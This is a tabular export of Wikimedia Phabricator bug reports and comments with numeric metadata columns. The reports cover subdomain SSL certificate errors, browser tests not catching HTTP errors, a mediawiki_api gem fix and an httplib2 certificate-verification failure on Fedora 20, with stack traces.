As I understand it, there's a reason that www.commons.wikimedia.org and similar URLs were created: it's convention and standard practice for this type of domain format to function properly. There are older Bugzilla bugs about this, I believe.",,,1413549919,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,2.0,3.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,4.131147540983607,0.8360655737704918,"(In reply to Sam Reed (reedy) from comment #1)
QUOTE

As I understand it, there's a reason that www.commons.wikimedia.org and similar URLs were created: it's convention and standard practice for this type of domain format to function properly. There are older Bugzilla bugs about this, I believe."
323101,www.*.wikimedia.org has a bad certificate,"Why are you visitng these domains?

There isn't any nice way of fixing this, as WMF isn't going to waste money on buying sub-subdomain SSL certs...",,,1413549698,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,3.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,3.6176470588235294,0.9411764705882353,"Why are you visitng these domains?

There isn't any nice way of fixing this, as WMF isn't going to waste money on buying sub-subdomain SSL certs..."
74098,QA: browser tests don't detect or report HTTP response errors,"Browser tests explicitly load pages and click buttons that load pages.

Neither seems to detect outright page load failures. E.g. https://integration.wikimedia.org/ci/job/browsertests-Flow-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/263/testReport/%28root%29/Actions%20menu%20Permalink/Topic_Actions_menu_Permalink/ failed with status 500 response and a printed exception, but the test instead reported
    Sauce Labs job URL: http://saucelabs.com/jobs/b15aad5529da47ea979bb0196f17c320

timed out after 5 seconds, waiting for {:css=>"".flow-topic h2"", :index=>0, :tag_name=>""h2""} to become present (Watir::Wait::TimeoutError)

Like ""page has no ResourceLoader errors"" (implemented) and ""browser tests should assert there are no pink error boxes on the page"" (bug 61304), most tests should have an easy way to indicate that an error in a page load should fail outright with something like ""unexpected HTTP response (500)"".

However, note the comment in http://stackoverflow.com/a/5629462/451712 : ""There's a bit of a philosophical debate on whether watir or watir-webdriver should provide HTTP return code information."" so this may be hard to fix.  Since beta and production show errors slightly differently, and some HTTP response errors have friendlier HTML content like ""Wikipedia does not have an article with this exact name"", I'm not sure how to easily and generically detect from page content that there's been a breakdown, even though it's obvious to a human being :)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1413410400,1413412241.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_description,declined,True,c3,1,False,False,True,-38,True,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,5.666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,4.666666666666667,9.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,1.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,16.666666666666668,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,1.0,8.0,2.3333333333333335,2.6666666666666665,6.333333333333333,0.0,0.3333333333333333,0.0,0.0,5.0,0.0,1.3333333333333333,0.0,0.6666666666666666,9.0,4.666666666666667,0.0,4.0,0.0,0.6666666666666666,0.0,0.6666666666666666,3.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.163270637408568,0.7442528735632185,"Browser tests explicitly load pages and click buttons that load pages.

Neither seems to detect outright page load failures. E.g. URL failed with status 500 response and a printed exception, but the test instead reported
    Sauce Labs job URL: URL

timed out after 5 seconds, waiting for {:css=>"".flow-topic h2"", :index=>0, :tag_name=>""h2""} to become present (Watir::Wait::TimeoutError)

Like ""page has no ResourceLoader errors"" (implemented) and ""browser tests should assert there are no pink error boxes on the page"" (bug 61304), most tests should have an easy way to indicate that an error in a page load should fail outright with something like ""unexpected HTTP response (500)"".

However, note the comment in URL : ""There's a bit of a philosophical debate on whether watir or watir-webdriver should provide HTTP return code information."" so this may be hard to fix.  Since beta and production show errors slightly differently, and some HTTP response errors have friendlier HTML content like ""Wikipedia does not have an article with this exact name"", I'm not sure how to easily and generically detect from page content that there's been a breakdown, even though it's obvious to a human being :)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
330154,QA: browser tests don't detect or report HTTP response errors,"marking WONTFIX, see https://code.google.com/p/selenium/issues/detail?id=141 and http://lmgtfy.com/?q=selenium+webdriver+http+response+code",,,1413412241,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"marking WONTFIX, see URL and URL"
330150,QA: browser tests don't detect or report HTTP response errors,"It's nothing to do with watir, the Selenium maintainers have been explicit from the very beginning that Selenium will never read HTTP response codes.

If you care about those, you'll need to run your HTTP through a proxy of some sort and do the analysis there and not in the browser.",,,1413411759,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_subcomment,,True,c3,1,False,,,-38,True,2.0,0.0,2.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,10.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,17.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0344827586206895,0.8103448275862069,"It's nothing to do with watir, the Selenium maintainers have been explicit from the very beginning that Selenium will never read HTTP response codes.

If you care about those, you'll need to run your HTTP through a proxy of some sort and do the analysis there and not in the browser."
74056,QA: mediawiki_api doesn't report HTTP errors,"An Echo browser test trying to create an account failed with 503 Service unavailable. That's understandable, but the indication of failure was buried in the HTML of the WMF error page.

It would be great if the mediawiki_api gem noticed the HTTP request error status and failed with e.g. ""create_account API HTTP request failure: <Status line>""

I'm confused because gerrit 157300 fixed bug 70193 ""Client now throws an HttpError when handling HTTP responses"", but the check
   raise HttpError, response.status if response.status >= 400
seems missing from mediawiki_api-0.2.1 in this CI run and my local .rvm gem.

The failure was in <https://integration.wikimedia.org/ci/job/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/105/consoleFull>
The line that went wrong is:

    on(APIPage).client.create_account(username, ENV[""MEDIAWIKI_PASSWORD""])

The console output is

...
05:35:08     Given I am logged in as a new user                    # features/step_definitions/notifications_steps.rb:60
05:35:08       757: unexpected token at '<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/2002/REC-xhtml1-20020801/DTD/xhtml1-transitional.dtd"">
... entire text of the HTML error page
... 100s of lines later:
05:35:09          <!-- Technical details of the error; shows all the time, with any language -->
05:35:09          <div class=""TechnicalStuff"">
05:35:09           <bdo dir=""ltr"">
05:35:09               503 Service Temporarily Unavailable
05:35:09           </bdo>
05:35:09           <div id=""AdditionalTechnicalStuff""></div>
05:35:09          </div>
... 100s more lines
05:35:09       </html>
05:35:09     
05:35:09       ' (JSON::ParserError)

05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/json-1.8.1/lib/json/common.rb:155:in `parse'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/json-1.8.1/lib/json/common.rb:155:in `parse'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:85:in `response_object'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:46:in `data'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/client.rb:51:in `create_account'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/client.rb:58:in `create_account'
05:35:09       /mnt/jenkins-workspace/workspace/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/tests/browser/features/step_definitions/common_steps.rb:48:in `block in <top (required)>'

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1413321660,1413404871.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2npmjjhfixtvuh5qis56,task_description,resolved,True,c3,1,False,False,True,-38,True,0.4,0.0,0.0,0.4,0.0,3.2,0.4,0.2,0.0,0.4,2.4,1.4,0.0,0.0,0.0,0.6,0.0,1.0,5.0,0.0,0.2,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.2,0.2,1.6,0.6,0.2,0.0,0.0,0.2,0.0,0.2,0.6,0.0,0.0,0.4,0.6,0.0,0.2,0.0,0.2,0.0,15.6,0.2,0.2,0.0,0.2,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,3.2,1.2,8.4,0.8,0.8,4.0,0.0,0.0,0.4,0.2,0.4,0.0,5.0,0.0,0.8,5.0,10.8,0.0,3.2,0.0,0.8,0.0,0.4,0.8,0.0,0.6,0.2,0.0,3.8,4.615294117647059,0.6287004103967169,"An Echo browser test trying to create an account failed with 503 Service unavailable. That's understandable, but the indication of failure was buried in the HTML of the WMF error page.

It would be great if the mediawiki_api gem noticed the HTTP request error status and failed with e.g. ""create_account API HTTP request failure: <Status line>""

I'm confused because gerrit 157300 fixed bug 70193 ""Client now throws an HttpError when handling HTTP responses"", but the check
   raise HttpError, response.status if response.status >= 400
seems missing from mediawiki_api-0.2.1 in this CI run and my local .rvm gem.

The failure was in <URL
The line that went wrong is:

    on(APIPage).client.create_account(username, ENV[""MEDIAWIKI_PASSWORD""])

The console output is

...
05:35:08     Given I am logged in as a new user                    # features/step_definitions/notifications_steps.rb:60
05:35:08       757: unexpected token at '<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""URL
... entire text of the HTML error page
... 100s of lines later:
05:35:09          <!-- Technical details of the error; shows all the time, with any language -->
05:35:09          <div class=""TechnicalStuff"">
05:35:09           <bdo dir=""ltr"">
05:35:09               503 Service Temporarily Unavailable
05:35:09           </bdo>
05:35:09           <div id=""AdditionalTechnicalStuff""></div>
05:35:09          </div>
... 100s more lines
05:35:09       </html>
05:35:09     
05:35:09       ' (JSON::ParserError)

05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/json-1.8.1/lib/json/common.rb:155:in CODEparse'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:85:in CODEdata'
05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/client.rb:51:in CODEcreate_account'
05:35:09       /mnt/jenkins-workspace/workspace/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/tests/browser/features/step_definitions/common_steps.rb:48:in `block in <top (required)>'

--------------------------
**Version**: unspecified
**Severity**: normal"
328404,QA: mediawiki_api doesn't report HTTP errors,"I renamed api.php locally, did bundle update, ran Echo's features/notifications_userrights.feature , and it quickly failed with

      unexpected HTTP response (404) (MediawikiApi::HttpError)
      ./features/step_definitions/notifications_steps.rb:8:in `clear_notifications'

\o/ !

The next problem is getting WMF's CI to use the new version.  The latest Echo run https://integration.wikimedia.org/ci/job/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/108/consoleFull  still uses old version 0.2.1, e.g.
   /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:85:in `response_object'

So I guess we have to go into 13 extensions using mediawiki_api, `bundle update`, and check in their new Gemfile.locks. I dunno if there's a way to automate this. I filed a separate bug 72090",,,1413404871,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,6.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,14.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,9.0,7.0,0.0,1.0,0.0,9.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.9753086419753085,0.7901234567901234,"I renamed api.php locally, did bundle update, ran Echo's features/notifications_userrights.feature , and it quickly failed with

      unexpected HTTP response (404) (MediawikiApi::HttpError)
      ./features/step_definitions/notifications_steps.rb:8:in CODEresponse_object'

So I guess we have to go into 13 extensions using mediawiki_api, CODE, and check in their new Gemfile.locks. I dunno if there's a way to automate this. I filed a separate bug 72090"
328398,QA: mediawiki_api doesn't report HTTP errors,"S, did the change solve the problem?",,,1413360994,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8888888888888888,"S, did the change solve the problem?"
328392,QA: mediawiki_api doesn't report HTTP errors,Built and released the gem. Running `bundle update mediawiki_api` in your tests/browser directory should update you to 0.3.0.,,,1413325671,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.25,0.95,Built and released the gem. Running CODE in your tests/browser directory should update you to 0.3.0.
328388,QA: mediawiki_api doesn't report HTTP errors,"Change 166679 merged by jenkins-bot:
Releasing minor version 0.3.0

https://gerrit.wikimedia.org/r/166679",,,1413325384,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.733333333333333,1.0,"Change 166679 merged by jenkins-bot:
Releasing minor version 0.3.0

GERRIT_URL"
328383,QA: mediawiki_api doesn't report HTTP errors,"Change 166679 had a related patch set uploaded by Dduvall:
Releasing minor version 0.3.0

https://gerrit.wikimedia.org/r/166679",,,1413323735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 166679 had a related patch set uploaded by Dduvall:
Releasing minor version 0.3.0

GERRIT_URL"
74009,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"IIRC, there is a problem with certificates in httplib2 pre-0.9 (bug 65189).  FC20 ships 0.7.7 on python2 and python3

$ rpm -qi python-httplib2
Name        : python-httplib2
Version     : 0.7.7
Release     : 3.fc20
...
$ rpm -qi python3-httplib2
Name        : python3-httplib2
Version     : 0.7.7
Release     : 3.fc20
...

On py2, the 0.7.7 package works correctly.
On py3, the following occurs running site_tests

On py2, all tests pass using 0.7.7.  On python3, tests fail badly (using en.wp as default site).

$ python3 pwb.py tests/site_tests.py
.../pywikibot/family.py:879: DeprecationWarning: imp.load_source() is deprecated; use importlib.machinery.SourceFileLoader(name, pathname).load_module() instead
  myfamily = imp.load_source(fam, config.family_files[fam])
ERROR: Traceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

WARNING: Waiting 5 seconds before retrying.
ERROR: Traceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

WARNING: Waiting 10 seconds before retrying.
^CTraceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""pwb.py"", line 164, in <module>
    run_python_file(fn, argv, argvu)
  File ""pwb.py"", line 69, in run_python_file
    exec(compile(source, filename, ""exec""), main_mod.__dict__)
  File ""tests/site_tests.py"", line 1481, in <module>
    unittest.main()
  File ""/usr/lib64/python3.3/unittest/main.py"", line 125, in __init__
    self.runTests()
  File ""/usr/lib64/python3.3/unittest/main.py"", line 265, in runTests
    self.result = testRunner.run(self.test)
  File ""/usr/lib64/python3.3/unittest/runner.py"", line 168, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 529, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 477, in run
    self._executeTestPart(testMethod, outcome, isTest=True)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 422, in _executeTestPart
    function()
  File ""tests/site_tests.py"", line 1065, in testRandompages
    rn = list(mysite.randompages(total=10))
  File "".../pywikibot/site.py"", line 3574, in randompages
    g_content=content)
  File "".../pywikibot/site.py"", line 1357, in _generator
    gen = gen_class(type_arg, site=self, **args)
  File "".../pywikibot/data/api.py"", line 1100, in __init__
    QueryGenerator.__init__(self, generator=generator, **kwargs)
  File "".../pywikibot/data/api.py"", line 819, in __init__
    self.update_limit()  # sets self.prefix
  File "".../pywikibot/data/api.py"", line 914, in update_limit
    for param in self._modules[mod].get(""parameters"", []):
  File "".../pywikibot/data/api.py"", line 865, in _modules
    data = paramreq.submit()
  File "".../pywikibot/data/api.py"", line 764, in submit
    self._data = super(CachedRequest, self).submit()
  File "".../pywikibot/data/api.py"", line 535, in submit
    self.wait()
  File "".../pywikibot/data/api.py"", line 651, in wait
    time.sleep(self.retry_wait)
KeyboardInterrupt
<class 'KeyboardInterrupt'>
CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**OS**: Linux
**Platform**: PC
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=72236
